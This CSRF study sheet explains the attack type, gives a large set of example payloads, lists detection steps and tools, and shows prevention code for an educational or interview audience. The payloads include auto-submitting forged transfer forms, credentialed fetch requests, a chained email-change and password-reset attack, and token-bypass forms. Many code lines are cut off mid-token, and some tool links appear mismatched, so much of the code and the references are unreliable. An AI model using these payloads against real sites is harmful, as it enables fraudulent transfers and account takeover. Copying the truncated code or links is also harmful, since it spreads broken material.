Cross-Site Request Forgery (CSRF) Vulnerability Study Sheet

Table of Contents

1. Definition
2. Vulnerability Categories
3. Example Payloads
4. Manual Detection Methods
5. Recommended Tools
6. Prevention Techniques
7. Interview Questions

Definition

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request.

Impact

- Unauthorized fund transfers
- Password changes
- Email address changes
- Account modifications
- Privilege escalation
- Data modification/deletion
- Administrative actions

OWASP Top 10 Ranking

CSRF vulnerabilities are addressed in **A01:2021 – Broken Access Control** in the OWASP Top 10 2021.

Vulnerability Categories

1. Traditional CSRF

Description: Classic CSRF attack where a malicious site submits a request to a vulnerable application using the victim's existing session.

Characteristics:

- Relies on automatic cookie submission
- Exploits browser's same-origin policy gaps
- Targets state-changing operations
- Victim must be authenticated

Requirements:

- User authenticated to target application
- Predictable request parameters
- No anti-CSRF protections
- User visits malicious page

2. JSON-based CSRF

Description: CSRF attacks targeting endpoints that accept JSON data instead of form-encoded data.

Characteristics:

- Targets REST APIs
- Exploits simple JSON requests
- Often bypasses traditional CSRF protections

- Content-Type restrictions may not apply

3. Flash-based CSRF

Description: Uses Adobe Flash to generate and send cross-domain requests, bypassing same-origin policy.

Characteristics:

- Flash crossdomain.xml policy files
- Can generate arbitrary HTTP requests
- Not limited to simple requests
- Flash SOP bypass techniques

4. CSRF via XSS

Description: Combines CSRF with Cross-Site Scripting to bypass same-origin restrictions.

Characteristics:

- Uses JavaScript to craft requests
- Can read response data
- Bypasses SOP completely
- Higher impact than pure CSRF

5. Login CSRF

Description: Forces a user to log into an attacker-controlled account instead of their own.

Characteristics:

- Targets login functionality
- No authentication required
- Session fixation variant
- Data leakage to attacker's account

6. Logout CSRF

Description: Forces a user to be logged out of their current session.

Characteristics:

- Disrupts user workflow
- Can be used for social engineering
- Often overlooked by developers
- May bypass other protections

Example Payloads

Basic HTML Form CSRF

```html
<!-- Basic POST request -->
<form action="https://bank.com/transfer" method="POST" id="csrf-f
    <input type="hidden" name="amount" value="1000">
    <input type="hidden" name="to_account" value="attacker123">
    <input type="submit" value="Click here for free gift!">
</form>

<!-- Auto-submitting form -->
<form action="https://bank.com/transfer" method="POST" id="csrf-f
    <input type="hidden" name="amount" value="1000">
    <input type="hidden" name="to_account" value="attacker123">
</form>
<script>
    document.getElementById('csrf-form').submit();
</script>

<!-- GET request via image -->
<img src="https://bank.com/transfer?amount=1000&to_account=attack
```

```
<!-- GET request via iframe -->
<iframe src="https://bank.com/transfer?amount=1000&to_account=att
```

JavaScript-based CSRF

```javascript
// Using XMLHttpRequest
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bank.com/transfer', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urle
xhr.withCredentials = true;
xhr.send('amount=1000&to_account=attacker123');

// Using Fetch API
fetch('https://bank.com/transfer', {
    method: 'POST',
    credentials: 'include',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: 'amount=1000&to_account=attacker123'
});

// JSON CSRF
fetch('https://api.bank.com/transfer', {
    method: 'POST',
    credentials: 'include',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        amount: 1000,
        to_account: 'attacker123'
    })
});
```

Advanced CSRF Techniques

html

```
<!-- Multi-step CSRF attack -->
<form action="https://app.com/change-email" method="POST" id="ste
    <input type="hidden" name="email" value="attacker@evil.com">
</form>
<form action="https://app.com/reset-password" method="POST" id="s
    <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>
    document.getElementById('step1').submit();
    setTimeout(function() {
        document.getElementById('step2').submit();
    }, 2000);
</script>

<!-- File upload CSRF -->
<form action="https://app.com/upload" method="POST" enctype="mult
    <input type="hidden" name="file" value="malicious_content">
    <input type="hidden" name="filename" value="backdoor.php">
    <input type="submit" value="Upload innocent file">
</form>

<!-- CSRF with CAPTCHA bypass -->
<iframe src="https://app.com/get-captcha" name="captcha-frame"></
<form action="https://app.com/sensitive-action" method="POST" tar
    <input type="hidden" name="captcha" value="extracted_value">
    <input type="hidden" name="action" value="delete_account">
</form>
<iframe name="result-frame" style="display:none;"></iframe>
```

Content-Type Manipulation

javascript

```
// Simple request (no preflight)
fetch('https://api.bank.com/transfer', {
    method: 'POST',
    credentials: 'include',
    headers: {
```

```
        'Content-Type': 'text/plain'
    },
    body: 'amount=1000&to_account=attacker123'
});

// Bypassing JSON restrictions
fetch('https://api.bank.com/transfer', {
    method: 'POST',
    credentials: 'include',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: 'json={"amount":1000,"to_account":"attacker123"}'
});

// Using form-encoded data for JSON endpoints
var form = new FormData();
form.append('{"amount":1000,"to_account":"attacker123"}', '');
fetch('https://api.bank.com/transfer', {
    method: 'POST',
    credentials: 'include',
    body: form
});
```

Flash-based CSRF

actionscript

```
<!-- Flash crossdomain.xml exploitation -->
<?xml version="1.0"?>
<cross-domain-policy>
    <allow-access-from domain="*" />
</cross-domain-policy>

<!-- Flash SWF for CSRF -->
package {
    import flash.net.URLRequest;
    import flash.net.URLLoader;
    import flash.net.URLRequestMethod;
    import flash.display.Sprite;
```

```
    public class CSRFAttack extends Sprite {
        public function CSRFAttack() {
            var request:URLRequest = new URLRequest("https://bank
            request.method = URLRequestMethod.POST;
            request.data = "amount=1000&to_account=attacker123";

            var loader:URLLoader = new URLLoader();
            loader.load(request);
        }
    }
}
```

Login CSRF Payloads

html

```
<!-- Force login to attacker's account -->
<form action="https://app.com/login" method="POST" id="login-csrf
    <input type="hidden" name="username" value="attacker_account"
    <input type="hidden" name="password" value="attacker_password
</form>
<script>
    document.getElementById('login-csrf').submit();
</script>

<!-- Session fixation via CSRF -->
<img src="https://app.com/login?session_id=attacker_controlled_se

<!-- OAuth login CSRF -->
<iframe src="https://app.com/oauth/authorize?client_id=evil_app&r
```

CSRF Token Bypass Techniques

html

```
<!-- Empty token value -->
<form action="https://app.com/transfer" method="POST">
    <input type="hidden" name="csrf_token" value="">
```

```
    <input type="hidden" name="amount" value="1000">
</form>

<!-- Using another user's token -->
<form action="https://app.com/transfer" method="POST">
    <input type="hidden" name="csrf_token" value="known_valid_tok
    <input type="hidden" name="amount" value="1000">
</form>

<!-- Token in URL instead of form -->
<img src="https://app.com/transfer?csrf_token=extracted_token&amo

<!-- Changing request method -->
<form action="https://app.com/transfer" method="GET">
    <input type="hidden" name="csrf_token" value="any_value">
    <input type="hidden" name="amount" value="1000">
</form>
```

Manual Detection Methods

1. Request Analysis

bash

```
# Check for CSRF protection mechanisms
1. Analyze requests for CSRF tokens
2. Look for custom headers
3. Check referrer validation
4. Test SameSite cookie attributes
5. Verify origin header checks
```

2. Token Testing

bash

```
# CSRF token validation tests
1. Remove token entirely
2. Use empty token value
```

```
3. Use malformed token
4. Use another user's token
5. Use old/expired token
6. Change token parameter name
7. Submit token in wrong parameter
```

3. HTTP Method Testing

bash

```
# Test different HTTP methods
GET /sensitive-action?param=value
POST /sensitive-action (form-encoded)
POST /sensitive-action (JSON)
PUT /sensitive-action
DELETE /sensitive-action
PATCH /sensitive-action
HEAD /sensitive-action
OPTIONS /sensitive-action
```

4. Content-Type Manipulation

bash

```
# Test various Content-Type headers
Content-Type: application/x-www-form-urlencoded
Content-Type: application/json
Content-Type: text/plain
Content-Type: multipart/form-data
Content-Type: application/xml
Content-Type: text/xml
```

5. Referrer Header Testing

bash

```
# Referrer validation bypass
1. Remove Referer header entirely
```

```
2. Use attacker's domain as referrer
3. Use subdomain of target
4. Use null referrer
5. Use data: URI
6. Use about:blank
```

6. Origin Header Testing

bash

```
# Origin validation bypass
1. Remove Origin header
2. Use null origin
3. Use attacker's origin
4. Use subdomain origin
5. Use HTTPS vs HTTP mismatch
```

7. Cookie Testing

bash

```
# SameSite attribute testing
1. Check if SameSite=Strict is used
2. Test SameSite=Lax behavior
3. Verify SameSite=None; Secure
4. Test with no SameSite attribute
5. Cross-site vs same-site requests
```

8. JavaScript Framework Testing

bash

```
# Framework-specific CSRF checks
1. AngularJS: X-Requested-With header
2. Django: csrfmiddlewaretoken
3. Laravel: _token field
```

```
4. Rails: authenticity_token
5. Spring: _csrf parameter
```

Recommended Tools

1. Browser Extensions

CSRF-PoC-Generator

- **GitHub**: https://github.com/merttasci/csrf-poc-generator
- **Purpose**: Automatically generate CSRF proof-of-concept exploits
- **Features**: Form generation, auto-submit, multiple methods

Burp CSRF PoC Generator (Built-in)

- **Purpose**: Generate CSRF proof-of-concepts from requests
- **Features**: HTML form generation, auto-submit options

2. Command Line Tools

CSRFtester

- **GitHub**: https://github.com/kikomiko/csrftester
- **Purpose**: CSRF vulnerability scanner and tester
- **Features**: Token analysis, request modification

```bash
python csrftester.py --url https://target.com/form --method POST
```

CSRF-Scanner

- **GitHub**: https://github.com/Anon-Exploiter/SSTI-Scanner
- **Purpose**: Automated CSRF detection
- **Features**: Token validation testing, bypass attempts

XSRFProbe

- **GitHub**: https://github.com/0xInfection/XSRFProbe
- **Purpose**: Advanced CSRF audit toolkit
- **Features**: Comprehensive testing, report generation

```bash
xsrfprobe -u https://target.com -c cookies.txt
```

3. Proxy Tools

Burp Suite Professional

- **Features**: CSRF token detection, scanner, repeater
- **Extensions**: Additional CSRF testing capabilities

OWASP ZAP

- **GitHub**: https://github.com/zaproxy/zaproxy
- **Purpose**: Free web application security scanner
- **Features**: CSRF scanner, manual testing tools

```bash
zap.sh -cmd -quickurl https://target.com
```

4. Specialized CSRF Tools

CSRF PoC Generator

- **GitHub**: https://github.com/hakluke/hakrawler/tree/master/csrf
- **Purpose**: Generate CSRF proof-of-concepts
- **Features**: Multiple output formats, bypass techniques

Anti-CSRF Token Bypass

- **GitHub**: https://github.com/s0md3v/XSStrike/blob/master/core/csrf.py
- **Purpose**: Automated CSRF token bypass testing
- **Features**: Various bypass techniques, token extraction

CSRF Bypass Tools Collection

- **GitHub**: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection
- **Purpose**: Collection of CSRF bypass techniques
- **Features**: Comprehensive payload list, methodologies

5. Framework-Specific Tools

Django CSRF Testing

```python
# Django CSRF testing script
import requests
from bs4 import BeautifulSoup

def test_csrf_protection(url):
    session = requests.Session()

    # Get CSRF token
    response = session.get(url)
    soup = BeautifulSoup(response.text, 'html.parser')
    csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken

    # Test without token
    data = {'action': 'sensitive_operation'}
    response = session.post(url, data=data)

    # Test with invalid token
    data['csrfmiddlewaretoken'] = 'invalid_token'
    response = session.post(url, data=data)
```

Laravel CSRF Testing

php

```php
// Laravel CSRF testing
$client = new GuzzleHttp\Client();

// Test without _token
$response = $client->post('https://app.com/sensitive-action', [
    'form_params' => [
        'action' => 'delete_account'
    ]
]);

// Test with invalid token
$response = $client->post('https://app.com/sensitive-action', [
    'form_params' => [
        '_token' => 'invalid_token',
        'action' => 'delete_account'
    ]
]);
```

6. Custom Testing Scripts

Python CSRF Tester

python

```python
#!/usr/bin/env python3
import requests
import re
from urllib.parse import urljoin

class CSRFTester:
    def __init__(self, target_url, session_cookies):
        self.target_url = target_url
        self.session = requests.Session()
        for name, value in session_cookies.items():
            self.session.cookies.set(name, value)

    def extract_csrf_token(self, html):
```

```
        # Extract CSRF token from HTML
        patterns = [
            r'<input[^>]*name=["\']csrf_token["\'][^>]*value=["\'
            r'<input[^>]*name=["\']_token["\'][^>]*value=["\']([^
            r'<meta[^>]*name=["\']csrf-token["\'][^>]*content=["\
        ]

        for pattern in patterns:
            match = re.search(pattern, html)
            if match:
                return match.group(1)
        return None

    def test_csrf_protection(self, action_url, parameters):
        # Get the form page
        response = self.session.get(self.target_url)
        csrf_token = self.extract_csrf_token(response.text)

        # Test 1: Request without CSRF token
        print("[*] Testing without CSRF token...")
        response = self.session.post(action_url, data=parameters)
        if response.status_code == 200:
            print("[!] CSRF protection bypassed - no token requir

        # Test 2: Request with invalid CSRF token
        print("[*] Testing with invalid CSRF token...")
        test_params = parameters.copy()
        test_params['csrf_token'] = 'invalid_token_value'
        response = self.session.post(action_url, data=test_params
        if response.status_code == 200:
            print("[!] CSRF protection bypassed - invalid token a

        # Test 3: Request with empty CSRF token
        print("[*] Testing with empty CSRF token...")
        test_params = parameters.copy()
        test_params['csrf_token'] = ''
        response = self.session.post(action_url, data=test_params
        if response.status_code == 200:
            print("[!] CSRF protection bypassed - empty token acc

# Usage
csrf_tester = CSRFTester(
    'https://vulnerable-app.com/form',
```

```
    {'session': 'valid_session_cookie'}
)
csrf_tester.test_csrf_protection(
    'https://vulnerable-app.com/change-password',
    {'new_password': 'attacker_password'}
)
```

Prevention Techniques

1. CSRF Tokens (Synchronizer Token Pattern)

html

```
<!-- Secure CSRF token implementation -->
<form action="/transfer" method="POST">
    <input type="hidden" name="csrf_token" value="<?php echo csrf
    <input type="text" name="amount" required>
    <input type="text" name="to_account" required>
    <input type="submit" value="Transfer">
</form>
```

php

```
// Server-side token validation
function validateCSRFToken($token) {
    if (!$token || !hash_equals($_SESSION['csrf_token'], $token))
        die('CSRF token mismatch');
    }
}

// Generate secure CSRF token
function generateCSRFToken() {
    if (!isset($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
```

```
    return $_SESSION['csrf_token'];
}
```

2. SameSite Cookie Attribute

http

```
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly
Set-Cookie: sessionid=abc123; SameSite=Lax; Secure; HttpOnly
```

javascript

```
// JavaScript cookie setting
document.cookie = "sessionid=abc123; SameSite=Strict; Secure; Htt
```

3. Custom Headers Validation

javascript

```
// Client-side custom header
fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'X-Requested-With': 'XMLHttpRequest',
        'Content-Type': 'application/json'
    },
    credentials: 'include',
    body: JSON.stringify({amount: 1000, to_account: 'user123'})
});
```

python

```
# Server-side header validation
def validate_custom_header(request):
```

```
    if request.headers.get('X-Requested-With') != 'XMLHttpRequest
        return HttpResponseForbidden('Missing required header')
```

4. Origin/Referer Validation

python

```python
def validate_origin(request):
    allowed_origins = ['https://myapp.com', 'https://www.myapp.co
    origin = request.headers.get('Origin')
    referer = request.headers.get('Referer')

    if origin and origin not in allowed_origins:
        return HttpResponseForbidden('Invalid origin')

    if referer and not any(referer.startswith(allowed) for allowe
        return HttpResponseForbidden('Invalid referer')
```

5. Double Submit Cookie Pattern

javascript

```javascript
// Client-side implementation
function getCSRFToken() {
    return document.cookie.replace(/(?:(?:^|.*;\s*)csrf_token\s*\
}

fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'X-CSRF-Token': getCSRFToken(),
        'Content-Type': 'application/json'
    },
    credentials: 'include',
    body: JSON.stringify(data)
});
```

```python
# Server-side validation
def validate_double_submit_token(request):
    cookie_token = request.COOKIES.get('csrf_token')
    header_token = request.headers.get('X-CSRF-Token')

    if not cookie_token or not header_token:
        return HttpResponseForbidden('Missing CSRF token')

    if not hmac.compare_digest(cookie_token, header_token):
        return HttpResponseForbidden('CSRF token mismatch')
```

Interview Questions

Basic Questions

1. **What is CSRF and how does it differ from XSS?**
2. **What conditions are required for a successful CSRF attack?**
3. **What are the main methods to prevent CSRF attacks?**
4. **Explain the Same-Origin Policy in relation to CSRF.**
5. **What is the difference between a CSRF token and session token?**

Intermediate Questions

1. **How does the SameSite cookie attribute prevent CSRF?**
2. **Explain the double submit cookie pattern.**
3. **What is Login CSRF and how can it be exploited?**
4. **How can CSRF protection be bypassed?**
5. **What are the limitations of Referer header validation?**

Advanced Questions

1. **How does CORS relate to CSRF protection?**
2. **Explain JSON CSRF and its prevention techniques.**

3. **How can you exploit CSRF in single-page applications (SPAs)?**
4. **What is the relationship between CSRF and state-changing operations?**
5. **How do modern frameworks implement CSRF protection?**

Practical Questions

1. **You find a financial application that only checks the Referer header for CSRF protection. How would you exploit this?**
2. **How would you test for CSRF vulnerabilities in a REST API?**
3. **Describe your methodology for testing CSRF protection.**
4. **How would you implement secure CSRF protection in a microservices architecture?**

Risk Assessment Matrix

Attack Vector	Likelihood	Impact	Overall Risk
Form-based CSRF	High	High	Critical
JSON CSRF	Medium	High	High
Login CSRF	Medium	Medium	Medium
Logout CSRF	Low	Low	Low
Flash CSRF	Low	High	Medium

Additional Resources

Documentation

- **OWASP CSRF Prevention Cheat Sheet**: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html

- **Mozilla SameSite Cookies**: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite
- **RFC 7034 - X-Frame-Options**: https://tools.ietf.org/html/rfc7034

Testing Guides

- **OWASP Testing Guide - CSRF**: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery
- **PortSwigger CSRF Labs**: https://portswigger.net/web-security/csrf

Framework Documentation

- **Django CSRF Protection**: https://docs.djangoproject.com/en/stable/ref/csrf/
- **Laravel CSRF Protection**: https://laravel.com/docs/csrf
- **Rails CSRF Protection**: https://guides.rubyonrails.org/security.html#cross-site-request-forgery-csrf

---

This study sheet is designed for educational purposes. Always obtain proper authorization before testing for vulnerabilities.